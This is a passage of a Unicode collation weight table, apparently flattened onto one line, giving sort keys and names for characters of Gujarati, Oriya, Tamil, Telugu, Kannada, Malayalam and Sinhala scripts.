[.2778.0020.0002] # GUJARATI VOWEL SIGN E -0AC8 ; [.2779.0020.0002] # GUJARATI VOWEL SIGN AI -0AC9 ; [.277A.0020.0002] # GUJARATI VOWEL SIGN CANDRA O -0ACB ; [.277B.0020.0002] # GUJARATI VOWEL SIGN O -0ACC ; [.277C.0020.0002] # GUJARATI VOWEL SIGN AU -0ACD ; [.277D.0020.0002] # GUJARATI SIGN VIRAMA -0B05 ; [.277E.0020.0002] # ORIYA LETTER A -0B06 ; [.277F.0020.0002] # ORIYA LETTER AA -0B07 ; [.2780.0020.0002] # ORIYA LETTER I -0B08 ; [.2781.0020.0002] # ORIYA LETTER II -0B09 ; [.2782.0020.0002] # ORIYA LETTER U -0B0A ; [.2783.0020.0002] # ORIYA LETTER UU -0B0B ; [.2784.0020.0002] # ORIYA LETTER VOCALIC R -0B60 ; [.2785.0020.0002] # ORIYA LETTER VOCALIC RR -0B0C ; [.2786.0020.0002] # ORIYA LETTER VOCALIC L -0B61 ; [.2787.0020.0002] # ORIYA LETTER VOCALIC LL -0B0F ; [.2788.0020.0002] # ORIYA LETTER E -0B10 ; [.2789.0020.0002] # ORIYA LETTER AI -0B13 ; [.278A.0020.0002] # ORIYA LETTER O -0B14 ; [.278B.0020.0002] # ORIYA LETTER AU -0B15 ; [.278C.0020.0002] # ORIYA LETTER KA -0B16 ; [.278D.0020.0002] # ORIYA LETTER KHA -0B17 ; [.278E.0020.0002] # ORIYA LETTER GA -0B18 ; [.278F.0020.0002] # ORIYA LETTER GHA -0B19 ; [.2790.0020.0002] # ORIYA LETTER NGA -0B1A ; [.2791.0020.0002] # ORIYA LETTER CA -0B1B ; [.2792.0020.0002] # ORIYA LETTER CHA -0B1C ; [.2793.0020.0002] # ORIYA LETTER JA -0B1D ; [.2794.0020.0002] # ORIYA LETTER JHA -0B1E ; [.2795.0020.0002] # ORIYA LETTER NYA -0B1F ; [.2796.0020.0002] # ORIYA LETTER TTA -0B20 ; [.2797.0020.0002] # ORIYA LETTER TTHA -0B21 ; [.2798.0020.0002] # ORIYA LETTER DDA -0B5C ; [.2798.0020.0002][.0000.00C2.0002] # ORIYA LETTER RRA -0B22 ; [.2799.0020.0002] # ORIYA LETTER DDHA -0B5D ; [.2799.0020.0002][.0000.00C2.0002] # ORIYA LETTER RHA -0B23 ; [.279A.0020.0002] # ORIYA LETTER NNA -0B24 ; [.279B.0020.0002] # ORIYA LETTER TA -0B25 ; [.279C.0020.0002] # ORIYA LETTER THA -0B26 ; [.279D.0020.0002] # ORIYA LETTER DA -0B27 ; [.279E.0020.0002] # ORIYA LETTER DHA -0B28 ; [.279F.0020.0002] # ORIYA LETTER NA -0B2A ; [.27A0.0020.0002] # ORIYA LETTER PA -0B2B ; [.27A1.0020.0002] # ORIYA LETTER PHA -0B2C ; [.27A2.0020.0002] # ORIYA LETTER BA -0B2D ; [.27A3.0020.0002] # ORIYA LETTER BHA -0B2E ; [.27A4.0020.0002] # ORIYA LETTER MA -0B2F ; [.27A5.0020.0002] # ORIYA LETTER YA -0B5F ; [.27A6.0020.0002] # ORIYA LETTER YYA -0B30 ; [.27A7.0020.0002] # ORIYA LETTER RA -0B32 ; [.27A8.0020.0002] # ORIYA LETTER LA -0B33 ; [.27A9.0020.0002] # ORIYA LETTER LLA -0B35 ; [.27AA.0020.0002] # ORIYA LETTER VA -0B71 ; [.27AB.0020.0002] # ORIYA LETTER WA -0B36 ; [.27AC.0020.0002] # ORIYA LETTER SHA -0B37 ; [.27AD.0020.0002] # ORIYA LETTER SSA -0B38 ; [.27AE.0020.0002] # ORIYA LETTER SA -0B39 ; [.27AF.0020.0002] # ORIYA LETTER HA -0B3D ; [.27B0.0020.0002] # ORIYA SIGN AVAGRAHA -0B3E ; [.27B1.0020.0002] # ORIYA VOWEL SIGN AA -0B3F ; [.27B2.0020.0002] # ORIYA VOWEL SIGN I -0B40 ; [.27B3.0020.0002] # ORIYA VOWEL SIGN II -0B41 ; [.27B4.0020.0002] # ORIYA VOWEL SIGN U -0B42 ; [.27B5.0020.0002] # ORIYA VOWEL SIGN UU -0B43 ; [.27B6.0020.0002] # ORIYA VOWEL SIGN VOCALIC R -0B44 ; [.27B7.0020.0002] # ORIYA VOWEL SIGN VOCALIC RR -0B62 ; [.27B8.0020.0002] # ORIYA VOWEL SIGN VOCALIC L -0B63 ; [.27B9.0020.0002] # ORIYA VOWEL SIGN VOCALIC LL -0B47 ; [.27BA.0020.0002] # ORIYA VOWEL SIGN E -0B48 ; [.27BB.0020.0002] # ORIYA VOWEL SIGN AI -0B47 0B56 ; [.27BB.0020.0002] # ORIYA VOWEL SIGN AI -0B4B ; [.27BC.0020.0002] # ORIYA VOWEL SIGN O -0B47 0B3E ; [.27BC.0020.0002] # ORIYA VOWEL SIGN O -0B4C ; [.27BD.0020.0002] # ORIYA VOWEL SIGN AU -0B47 0B57 ; [.27BD.0020.0002] # ORIYA VOWEL SIGN AU -0B4D ; [.27BE.0020.0002] # ORIYA SIGN VIRAMA -0B56 ; [.27BF.0020.0002] # ORIYA AI LENGTH MARK -0B57 ; [.27C0.0020.0002] # ORIYA AU LENGTH MARK -0BD0 ; [.27C1.0020.0002] # TAMIL OM -0B85 ; [.27C2.0020.0002] # TAMIL LETTER A -0B86 ; [.27C3.0020.0002] # TAMIL LETTER AA -0B87 ; [.27C4.0020.0002] # TAMIL LETTER I -0B88 ; [.27C5.0020.0002] # TAMIL LETTER II -0B89 ; [.27C6.0020.0002] # TAMIL LETTER U -0B8A ; [.27C7.0020.0002] # TAMIL LETTER UU -0B8E ; [.27C8.0020.0002] # TAMIL LETTER E -0B8F ; [.27C9.0020.0002] # TAMIL LETTER EE -0B90 ; [.27CA.0020.0002] # TAMIL LETTER AI -0B92 ; [.27CB.0020.0002] # TAMIL LETTER O -0B93 ; [.27CC.0020.0002] # TAMIL LETTER OO -0B94 ; [.27CD.0020.0002] # TAMIL LETTER AU -0B92 0BD7 ; [.27CD.0020.0002] # TAMIL LETTER AU -0B83 ; [.27CE.0020.0002] # TAMIL SIGN VISARGA -0B95 ; [.27CF.0020.0002] # TAMIL LETTER KA -0B99 ; [.27D0.0020.0002] # TAMIL LETTER NGA -0B9A ; [.27D1.0020.0002] # TAMIL LETTER CA -0B9E ; [.27D2.0020.0002] # TAMIL LETTER NYA -0B9F ; [.27D3.0020.0002] # TAMIL LETTER TTA -0BA3 ; [.27D4.0020.0002] # TAMIL LETTER NNA -0BA4 ; [.27D5.0020.0002] # TAMIL LETTER TA -0BA8 ; [.27D6.0020.0002] # TAMIL LETTER NA -0BAA ; [.27D7.0020.0002] # TAMIL LETTER PA -0BAE ; [.27D8.0020.0002] # TAMIL LETTER MA -0BAF ; [.27D9.0020.0002] # TAMIL LETTER YA -0BB0 ; [.27DA.0020.0002] # TAMIL LETTER RA -0BB2 ; [.27DB.0020.0002] # TAMIL LETTER LA -0BB5 ; [.27DC.0020.0002] # TAMIL LETTER VA -0BB4 ; [.27DD.0020.0002] # TAMIL LETTER LLLA -0BB3 ; [.27DE.0020.0002] # TAMIL LETTER LLA -0BB1 ; [.27DF.0020.0002] # TAMIL LETTER RRA -0BA9 ; [.27E0.0020.0002] # TAMIL LETTER NNNA -0B9C ; [.27E1.0020.0002] # TAMIL LETTER JA -0BB6 ; [.27E2.0020.0002] # TAMIL LETTER SHA -0BB7 ; [.27E3.0020.0002] # TAMIL LETTER SSA -0BB8 ; [.27E4.0020.0002] # TAMIL LETTER SA -0BB9 ; [.27E5.0020.0002] # TAMIL LETTER HA -0BBE ; [.27E6.0020.0002] # TAMIL VOWEL SIGN AA -0BBF ; [.27E7.0020.0002] # TAMIL VOWEL SIGN I -0BC0 ; [.27E8.0020.0002] # TAMIL VOWEL SIGN II -0BC1 ; [.27E9.0020.0002] # TAMIL VOWEL SIGN U -0BC2 ; [.27EA.0020.0002] # TAMIL VOWEL SIGN UU -0BC6 ; [.27EB.0020.0002] # TAMIL VOWEL SIGN E -0BC7 ; [.27EC.0020.0002] # TAMIL VOWEL SIGN EE -0BC8 ; [.27ED.0020.0002] # TAMIL VOWEL SIGN AI -0BCA ; [.27EE.0020.0002] # TAMIL VOWEL SIGN O -0BC6 0BBE ; [.27EE.0020.0002] # TAMIL VOWEL SIGN O -0BCB ; [.27EF.0020.0002] # TAMIL VOWEL SIGN OO -0BC7 0BBE ; [.27EF.0020.0002] # TAMIL VOWEL SIGN OO -0BCC ; [.27F0.0020.0002] # TAMIL VOWEL SIGN AU -0BC6 0BD7 ; [.27F0.0020.0002] # TAMIL VOWEL SIGN AU -0BCD ; [.27F1.0020.0002] # TAMIL SIGN VIRAMA -0BD7 ; [.27F2.0020.0002] # TAMIL AU LENGTH MARK -0C05 ; [.27F3.0020.0002] # TELUGU LETTER A -0C06 ; [.27F4.0020.0002] # TELUGU LETTER AA -0C07 ; [.27F5.0020.0002] # TELUGU LETTER I -0C08 ; [.27F6.0020.0002] # TELUGU LETTER II -0C09 ; [.27F7.0020.0002] # TELUGU LETTER U -0C0A ; [.27F8.0020.0002] # TELUGU LETTER UU -0C0B ; [.27F9.0020.0002] # TELUGU LETTER VOCALIC R -0C60 ; [.27FA.0020.0002] # TELUGU LETTER VOCALIC RR -0C0C ; [.27FB.0020.0002] # TELUGU LETTER VOCALIC L -0C61 ; [.27FC.0020.0002] # TELUGU LETTER VOCALIC LL -0C0E ; [.27FD.0020.0002] # TELUGU LETTER E -0C0F ; [.27FE.0020.0002] # TELUGU LETTER EE -0C10 ; [.27FF.0020.0002] # TELUGU LETTER AI -0C12 ; [.2800.0020.0002] # TELUGU LETTER O -0C13 ; [.2801.0020.0002] # TELUGU LETTER OO -0C14 ; [.2802.0020.0002] # TELUGU LETTER AU -0C15 ; [.2803.0020.0002] # TELUGU LETTER KA -0C16 ; [.2804.0020.0002] # TELUGU LETTER KHA -0C17 ; [.2805.0020.0002] # TELUGU LETTER GA -0C18 ; [.2806.0020.0002] # TELUGU LETTER GHA -0C19 ; [.2807.0020.0002] # TELUGU LETTER NGA -0C1A ; [.2808.0020.0002] # TELUGU LETTER CA -0C58 ; [.2809.0020.0002] # TELUGU LETTER TSA -0C1B ; [.280A.0020.0002] # TELUGU LETTER CHA -0C1C ; [.280B.0020.0002] # TELUGU LETTER JA -0C59 ; [.280C.0020.0002] # TELUGU LETTER DZA -0C1D ; [.280D.0020.0002] # TELUGU LETTER JHA -0C1E ; [.280E.0020.0002] # TELUGU LETTER NYA -0C1F ; [.280F.0020.0002] # TELUGU LETTER TTA -0C20 ; [.2810.0020.0002] # TELUGU LETTER TTHA -0C21 ; [.2811.0020.0002] # TELUGU LETTER DDA -0C22 ; [.2812.0020.0002] # TELUGU LETTER DDHA -0C23 ; [.2813.0020.0002] # TELUGU LETTER NNA -0C24 ; [.2814.0020.0002] # TELUGU LETTER TA -0C25 ; [.2815.0020.0002] # TELUGU LETTER THA -0C26 ; [.2816.0020.0002] # TELUGU LETTER DA -0C27 ; [.2817.0020.0002] # TELUGU LETTER DHA -0C28 ; [.2818.0020.0002] # TELUGU LETTER NA -0C2A ; [.2819.0020.0002] # TELUGU LETTER PA -0C2B ; [.281A.0020.0002] # TELUGU LETTER PHA -0C2C ; [.281B.0020.0002] # TELUGU LETTER BA -0C2D ; [.281C.0020.0002] # TELUGU LETTER BHA -0C2E ; [.281D.0020.0002] # TELUGU LETTER MA -0C2F ; [.281E.0020.0002] # TELUGU LETTER YA -0C30 ; [.281F.0020.0002] # TELUGU LETTER RA -0C31 ; [.2820.0020.0002] # TELUGU LETTER RRA -0C32 ; [.2821.0020.0002] # TELUGU LETTER LA -0C35 ; [.2822.0020.0002] # TELUGU LETTER VA -0C36 ; [.2823.0020.0002] # TELUGU LETTER SHA -0C37 ; [.2824.0020.0002] # TELUGU LETTER SSA -0C38 ; [.2825.0020.0002] # TELUGU LETTER SA -0C39 ; [.2826.0020.0002] # TELUGU LETTER HA -0C33 ; [.2827.0020.0002] # TELUGU LETTER LLA -0C34 ; [.2828.0020.0002] # TELUGU LETTER LLLA -0C5A ; [.2829.0020.0002] # TELUGU LETTER RRRA -0C3D ; [.282A.0020.0002] # TELUGU SIGN AVAGRAHA -0C3E ; [.282B.0020.0002] # TELUGU VOWEL SIGN AA -0C3F ; [.282C.0020.0002] # TELUGU VOWEL SIGN I -0C40 ; [.282D.0020.0002] # TELUGU VOWEL SIGN II -0C41 ; [.282E.0020.0002] # TELUGU VOWEL SIGN U -0C42 ; [.282F.0020.0002] # TELUGU VOWEL SIGN UU -0C43 ; [.2830.0020.0002] # TELUGU VOWEL SIGN VOCALIC R -0C44 ; [.2831.0020.0002] # TELUGU VOWEL SIGN VOCALIC RR -0C62 ; [.2832.0020.0002] # TELUGU VOWEL SIGN VOCALIC L -0C63 ; [.2833.0020.0002] # TELUGU VOWEL SIGN VOCALIC LL -0C46 ; [.2834.0020.0002] # TELUGU VOWEL SIGN E -0C47 ; [.2835.0020.0002] # TELUGU VOWEL SIGN EE -0C48 ; [.2836.0020.0002] # TELUGU VOWEL SIGN AI -0C46 0C56 ; [.2836.0020.0002] # TELUGU VOWEL SIGN AI -0C4A ; [.2837.0020.0002] # TELUGU VOWEL SIGN O -0C4B ; [.2838.0020.0002] # TELUGU VOWEL SIGN OO -0C4C ; [.2839.0020.0002] # TELUGU VOWEL SIGN AU -0C4D ; [.283A.0020.0002] # TELUGU SIGN VIRAMA -0C55 ; [.283B.0020.0002] # TELUGU LENGTH MARK -0C56 ; [.283C.0020.0002] # TELUGU AI LENGTH MARK -0C85 ; [.283D.0020.0002] # KANNADA LETTER A -0C86 ; [.283E.0020.0002] # KANNADA LETTER AA -0C87 ; [.283F.0020.0002] # KANNADA LETTER I -0C88 ; [.2840.0020.0002] # KANNADA LETTER II -0C89 ; [.2841.0020.0002] # KANNADA LETTER U -0C8A ; [.2842.0020.0002] # KANNADA LETTER UU -0C8B ; [.2843.0020.0002] # KANNADA LETTER VOCALIC R -0CE0 ; [.2844.0020.0002] # KANNADA LETTER VOCALIC RR -0C8C ; [.2845.0020.0002] # KANNADA LETTER VOCALIC L -0CE1 ; [.2846.0020.0002] # KANNADA LETTER VOCALIC LL -0C8E ; [.2847.0020.0002] # KANNADA LETTER E -0C8F ; [.2848.0020.0002] # KANNADA LETTER EE -0C90 ; [.2849.0020.0002] # KANNADA LETTER AI -0C92 ; [.284A.0020.0002] # KANNADA LETTER O -0C93 ; [.284B.0020.0002] # KANNADA LETTER OO -0C94 ; [.284C.0020.0002] # KANNADA LETTER AU -0C95 ; [.284D.0020.0002] # KANNADA LETTER KA -0C96 ; [.284E.0020.0002] # KANNADA LETTER KHA -0C97 ; [.284F.0020.0002] # KANNADA LETTER GA -0C98 ; [.2850.0020.0002] # KANNADA LETTER GHA -0C99 ; [.2851.0020.0002] # KANNADA LETTER NGA -0C9A ; [.2852.0020.0002] # KANNADA LETTER CA -0C9B ; [.2853.0020.0002] # KANNADA LETTER CHA -0C9C ; [.2854.0020.0002] # KANNADA LETTER JA -0C9D ; [.2855.0020.0002] # KANNADA LETTER JHA -0C9E ; [.2856.0020.0002] # KANNADA LETTER NYA -0C9F ; [.2857.0020.0002] # KANNADA LETTER TTA -0CA0 ; [.2858.0020.0002] # KANNADA LETTER TTHA -0CA1 ; [.2859.0020.0002] # KANNADA LETTER DDA -0CA2 ; [.285A.0020.0002] # KANNADA LETTER DDHA -0CA3 ; [.285B.0020.0002] # KANNADA LETTER NNA -0CA4 ; [.285C.0020.0002] # KANNADA LETTER TA -0CA5 ; [.285D.0020.0002] # KANNADA LETTER THA -0CA6 ; [.285E.0020.0002] # KANNADA LETTER DA -0CA7 ; [.285F.0020.0002] # KANNADA LETTER DHA -0CA8 ; [.2860.0020.0002] # KANNADA LETTER NA -0CAA ; [.2861.0020.0002] # KANNADA LETTER PA -0CAB ; [.2862.0020.0002] # KANNADA LETTER PHA -0CAC ; [.2863.0020.0002] # KANNADA LETTER BA -0CAD ; [.2864.0020.0002] # KANNADA LETTER BHA -0CAE ; [.2865.0020.0002] # KANNADA LETTER MA -0CAF ; [.2866.0020.0002] # KANNADA LETTER YA -0CB0 ; [.2867.0020.0002] # KANNADA LETTER RA -0CB1 ; [.2868.0020.0002] # KANNADA LETTER RRA -0CB2 ; [.2869.0020.0002] # KANNADA LETTER LA -0CB5 ; [.286A.0020.0002] # KANNADA LETTER VA -0CB6 ; [.286B.0020.0002] # KANNADA LETTER SHA -0CB7 ; [.286C.0020.0002] # KANNADA LETTER SSA -0CB8 ; [.286D.0020.0002] # KANNADA LETTER SA -0CB9 ; [.286E.0020.0002] # KANNADA LETTER HA -0CB3 ; [.286F.0020.0002] # KANNADA LETTER LLA -0CDE ; [.2870.0020.0002] # KANNADA LETTER FA -0CBD ; [.2871.0020.0002] # KANNADA SIGN AVAGRAHA -0CF1 ; [.2872.0020.0002] # KANNADA SIGN JIHVAMULIYA -0CF2 ; [.2873.0020.0002] # KANNADA SIGN UPADHMANIYA -0C80 ; [.2874.0020.0002] # KANNADA SIGN SPACING CANDRABINDU -0CBE ; [.2875.0020.0002] # KANNADA VOWEL SIGN AA -0CBF ; [.2876.0020.0002] # KANNADA VOWEL SIGN I -0CC0 ; [.2877.0020.0002] # KANNADA VOWEL SIGN II -0CBF 0CD5 ; [.2877.0020.0002] # KANNADA VOWEL SIGN II -0CC1 ; [.2878.0020.0002] # KANNADA VOWEL SIGN U -0CC2 ; [.2879.0020.0002] # KANNADA VOWEL SIGN UU -0CC3 ; [.287A.0020.0002] # KANNADA VOWEL SIGN VOCALIC R -0CC4 ; [.287B.0020.0002] # KANNADA VOWEL SIGN VOCALIC RR -0CE2 ; [.287C.0020.0002] # KANNADA VOWEL SIGN VOCALIC L -0CE3 ; [.287D.0020.0002] # KANNADA VOWEL SIGN VOCALIC LL -0CC6 ; [.287E.0020.0002] # KANNADA VOWEL SIGN E -0CC7 ; [.287F.0020.0002] # KANNADA VOWEL SIGN EE -0CC6 0CD5 ; [.287F.0020.0002] # KANNADA VOWEL SIGN EE -0CC8 ; [.2880.0020.0002] # KANNADA VOWEL SIGN AI -0CC6 0CD6 ; [.2880.0020.0002] # KANNADA VOWEL SIGN AI -0CCA ; [.2881.0020.0002] # KANNADA VOWEL SIGN O -0CC6 0CC2 ; [.2881.0020.0002] # KANNADA VOWEL SIGN O -0CCB ; [.2882.0020.0002] # KANNADA VOWEL SIGN OO -0CC6 0CC2 0CD5 ; [.2882.0020.0002] # KANNADA VOWEL SIGN OO -0CCA 0CD5 ; [.2882.0020.0002] # KANNADA VOWEL SIGN OO -0CCC ; [.2883.0020.0002] # KANNADA VOWEL SIGN AU -0CCD ; [.2884.0020.0002] # KANNADA SIGN VIRAMA -0CD5 ; [.2885.0020.0002] # KANNADA LENGTH MARK -0CD6 ; [.2886.0020.0002] # KANNADA AI LENGTH MARK -0D05 ; [.2887.0020.0002] # MALAYALAM LETTER A -0D06 ; [.2888.0020.0002] # MALAYALAM LETTER AA -0D07 ; [.2889.0020.0002] # MALAYALAM LETTER I -0D08 ; [.288A.0020.0002] # MALAYALAM LETTER II -0D5F ; [.288B.0020.0002] # MALAYALAM LETTER ARCHAIC II -0D09 ; [.288C.0020.0002] # MALAYALAM LETTER U -0D0A ; [.288D.0020.0002] # MALAYALAM LETTER UU -0D0B ; [.288E.0020.0002] # MALAYALAM LETTER VOCALIC R -0D60 ; [.288F.0020.0002] # MALAYALAM LETTER VOCALIC RR -0D0C ; [.2890.0020.0002] # MALAYALAM LETTER VOCALIC L -0D61 ; [.2891.0020.0002] # MALAYALAM LETTER VOCALIC LL -0D0E ; [.2892.0020.0002] # MALAYALAM LETTER E -0D0F ; [.2893.0020.0002] # MALAYALAM LETTER EE -0D10 ; [.2894.0020.0002] # MALAYALAM LETTER AI -0D12 ; [.2895.0020.0002] # MALAYALAM LETTER O -0D13 ; [.2896.0020.0002] # MALAYALAM LETTER OO -0D14 ; [.2897.0020.0002] # MALAYALAM LETTER AU -0D15 ; [.2898.0020.0002] # MALAYALAM LETTER KA -0D7F ; [.2898.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU K -0D16 ; [.2899.0020.0002] # MALAYALAM LETTER KHA -0D17 ; [.289A.0020.0002] # MALAYALAM LETTER GA -0D18 ; [.289B.0020.0002] # MALAYALAM LETTER GHA -0D19 ; [.289C.0020.0002] # MALAYALAM LETTER NGA -0D1A ; [.289D.0020.0002] # MALAYALAM LETTER CA -0D1B ; [.289E.0020.0002] # MALAYALAM LETTER CHA -0D1C ; [.289F.0020.0002] # MALAYALAM LETTER JA -0D1D ; [.28A0.0020.0002] # MALAYALAM LETTER JHA -0D1E ; [.28A1.0020.0002] # MALAYALAM LETTER NYA -0D1F ; [.28A2.0020.0002] # MALAYALAM LETTER TTA -0D20 ; [.28A3.0020.0002] # MALAYALAM LETTER TTHA -0D21 ; [.28A4.0020.0002] # MALAYALAM LETTER DDA -0D22 ; [.28A5.0020.0002] # MALAYALAM LETTER DDHA -0D23 ; [.28A6.0020.0002] # MALAYALAM LETTER NNA -0D7A ; [.28A6.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU NN -0D24 ; [.28A7.0020.0002] # MALAYALAM LETTER TA -0D25 ; [.28A8.0020.0002] # MALAYALAM LETTER THA -0D26 ; [.28A9.0020.0002] # MALAYALAM LETTER DA -0D27 ; [.28AA.0020.0002] # MALAYALAM LETTER DHA -0D28 ; [.28AB.0020.0002] # MALAYALAM LETTER NA -0D7B ; [.28AB.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU N -0D29 ; [.28AC.0020.0002] # MALAYALAM LETTER NNNA -0D2A ; [.28AD.0020.0002] # MALAYALAM LETTER PA -0D2B ; [.28AE.0020.0002] # MALAYALAM LETTER PHA -0D2C ; [.28AF.0020.0002] # MALAYALAM LETTER BA -0D2D ; [.28B0.0020.0002] # MALAYALAM LETTER BHA -0D2E ; [.28B1.0020.0002] # MALAYALAM LETTER MA -0D54 ; [.28B1.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU M -0D2F ; [.28B2.0020.0002] # MALAYALAM LETTER YA -0D55 ; [.28B2.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU Y -0D30 ; [.28B3.0020.0002] # MALAYALAM LETTER RA -0D4E ; [.28B3.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER DOT REPH -0D7C ; [.28B3.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU RR -0D32 ; [.28B4.0020.0002] # MALAYALAM LETTER LA -0D7D ; [.28B4.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU L -0D35 ; [.28B5.0020.0002] # MALAYALAM LETTER VA -0D36 ; [.28B6.0020.0002] # MALAYALAM LETTER SHA -0D37 ; [.28B7.0020.0002] # MALAYALAM LETTER SSA -0D38 ; [.28B8.0020.0002] # MALAYALAM LETTER SA -0D39 ; [.28B9.0020.0002] # MALAYALAM LETTER HA -0D33 ; [.28BA.0020.0002] # MALAYALAM LETTER LLA -0D7E ; [.28BA.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU LL -0D34 ; [.28BB.0020.0002] # MALAYALAM LETTER LLLA -0D56 ; [.28BB.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU LLL -0D31 ; [.28BC.0020.0002] # MALAYALAM LETTER RRA -0D3A ; [.28BD.0020.0002] # MALAYALAM LETTER TTTA -0D3D ; [.28BE.0020.0002] # MALAYALAM SIGN AVAGRAHA -0D3E ; [.28BF.0020.0002] # MALAYALAM VOWEL SIGN AA -0D3F ; [.28C0.0020.0002] # MALAYALAM VOWEL SIGN I -0D40 ; [.28C1.0020.0002] # MALAYALAM VOWEL SIGN II -0D41 ; [.28C2.0020.0002] # MALAYALAM VOWEL SIGN U -0D42 ; [.28C3.0020.0002] # MALAYALAM VOWEL SIGN UU -0D43 ; [.28C4.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC R -0D44 ; [.28C5.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC RR -0D62 ; [.28C6.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC L -0D63 ; [.28C7.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC LL -0D46 ; [.28C8.0020.0002] # MALAYALAM VOWEL SIGN E -0D47 ; [.28C9.0020.0002] # MALAYALAM VOWEL SIGN EE -0D48 ; [.28CA.0020.0002] # MALAYALAM VOWEL SIGN AI -0D4A ; [.28CB.0020.0002] # MALAYALAM VOWEL SIGN O -0D46 0D3E ; [.28CB.0020.0002] # MALAYALAM VOWEL SIGN O -0D4B ; [.28CC.0020.0002] # MALAYALAM VOWEL SIGN OO -0D47 0D3E ; [.28CC.0020.0002] # MALAYALAM VOWEL SIGN OO -0D4C ; [.28CD.0020.0002] # MALAYALAM VOWEL SIGN AU -0D46 0D57 ; [.28CD.0020.0002] # MALAYALAM VOWEL SIGN AU -0D57 ; [.28CE.0020.0002] # MALAYALAM AU LENGTH MARK -0D4D ; [.28CF.0020.0002] # MALAYALAM SIGN VIRAMA -0D85 ; [.28D0.0020.0002] # SINHALA LETTER AYANNA -0D86 ; [.28D1.0020.0002] # SINHALA LETTER AAYANNA -0D87 ; [.28D2.0020.0002] # SINHALA LETTER AEYANNA -0D88 ; [.28D3.0020.0002] # SINHALA LETTER AEEYANNA -0D89 ; [.28D4.0020.0002] # SINHALA LETTER IYANNA -0D8A ; [.28D5.0020.0002] # SINHALA LETTER IIYANNA -0D8B ; [.28D6.0020.0002] # SINHALA LETTER UYANNA -0D8C ; [.28D7.0020.0002] # SINHALA LETTER UUYANNA -0D8D ; [.28D8.0020.0002] # SINHALA LETTER IRUYANNA -0D8E ; [.28D9.0020.0002] # SINHALA LETTER IRUUYANNA -0D8F ; [.28DA.0020.0002] # SINHALA LETTER ILUYANNA -0D90 ; [.28DB.0020.0002] # SINHALA LETTER ILUUYANNA -0D91 ; [.28DC.0020.0002] # SINHALA LETTER EYANNA -0D92 ; [.28DD.0020.0002] # SINHALA LETTER EEYANNA -0D93 ; [.28DE.0020.0002] # SINHALA LETTER AIYANNA -0D94 ; [.28DF.0020.0002] # SINHALA LETTER OYANNA -0D95 ; [.28E0.0020.0002] # SINHALA LETTER OOYANNA -0D96 ; [.28E1.0020.0002] # SINHALA LETTER AUYANNA -0D9A ; [.28E2.0020.0002] # SINHALA LETTER ALPAPRAANA KAYANNA -0D9B ; [.28E3.0020.0002] # SINHALA LETTER MAHAAPRAANA KAYANNA -0D9C ; [.28E4.0020.0002] # SINHALA LETTER ALPAPRAANA GAYANNA -0D9D ; [.28E5.0020.0002] # SINHALA LETTER MAHAAPRAANA GAYANNA -0D9E ; [.28E6.0020.0002] # SINHALA LETTER KANTAJA NAASIKYAYA -0D9F ; [.28E7.0020.0002] # SINHALA LETTER SANYAKA GAYANNA -0DA0 ; [.28E8.0020.0002] # SINHALA LETTER ALPAPRAANA CAYANNA -0DA1 ; [.28E9.0020.0002] # SINHALA LETTER MAHAAPRAANA CAYANNA -0DA2 ; [.28EA.0020.0002] # SINHALA LETTER ALPAPRAANA JAYANNA -0DA3 ; [.28EB.0020.0002] # SINHALA LETTER MAHAAPRAANA JAYANNA -0DA4 ; [.28EC.0020.0002] # SINHALA LETTER TAALUJA NAASIKYAYA -0DA5 ; [.28ED.0020.0002] # SINHALA LETTER TAALUJA SANYOOGA NAAKSIKYAYA -0DA6 ; [.28EE.0020.0002] # SINHALA LETTER SANYAKA JAYANNA -0DA7 ; [.28EF.0020.0002] # SINHALA LETTER ALPAPRAANA TTAYANNA -0DA8 ; [.28F0.0020.0002] # SINHALA LETTER MAHAAPRAANA TTAYANNA -0DA9 ; [.28F1.0020.0002] # SINHALA LETTER ALPAPRAANA DDAYANNA -0DAA ; [.28F2.0020.0002] # SINHALA LETTER MAHAAPRAANA DDAYANNA -0DAB ; [.28F3.0020.0002] # SINHALA LETTER MUURDHAJA NAYANNA -0DAC ; [.28F4.0020.0002] # SINHALA LETTER SANYAKA DDAYANNA -0DAD ; [.28F5.0020.0002] # SINHALA LETTER ALPAPRAANA TAYANNA -0DAE ; [.28F6.0020.0002] # SINHALA LETTER MAHAAPRAANA TAYANNA -0DAF ; [.28F7.0020.0002] # SINHALA LETTER ALPAPRAANA DAYANNA -0DB0 ; [.28F8.0020.0002] # SINHALA LETTER MAHAAPRAANA DAYANNA -0DB1 ; [.28F9.0020.0002] # SINHALA LETTER DANTAJA NAYANNA -0DB3 ; [.28FA.0020.0002] # SINHALA LETTER SANYAKA DAYANNA -0DB4 ; [.28FB.0020.0002] # SINHALA LETTER ALPAPRAANA PAYANNA -0DB5 ; [.28FC.0020.0002] # SINHALA LETTER MAHAAPRAANA PAYANNA -0DB6 ; [.28FD.0020.0002] # SINHALA LETTER ALPAPRAANA BAYANNA -0DB7 ; [.28FE.0020.0002] # SINHALA LETTER MAHAAPRAANA BAYANNA -0DB8 ; [.28FF.0020.0002] # SINHALA LETTER MAYANNA -0DB9 ; [.2900.0020.0002] # SINHALA LETTER AMBA BAYANNA -0DBA ; [.2901.0020.0002] # SINHALA LETTER YAYANNA -0DBB ; [.2902.0020.0002] # SINHALA LETTER RAYANNA -0DBD ; [.2903.0020.0002] # SINHALA LETTER DANTAJA LAYANNA -0DC0 ; [.2904.0020.0002] # SINHALA LETTER VAYANNA -0DC1 ; [.2905.0020.0002] # SINHALA LETTER TAALUJA SAYANNA -0DC2 ; [.2906.0020.0002] # SINHALA LETTER MUURDHAJA SAYANNA -0DC3 ; [.2907.0020.0002] # SINHALA LETTER DANTAJA SAYANNA -0DC4 ; [.2908.0020.0002] # SINHALA LETTER HAYANNA -0DC5 ; [.2909.0020.0002] # SINHALA LETTER MUURDHAJA LAYANNA -0DC6 ; 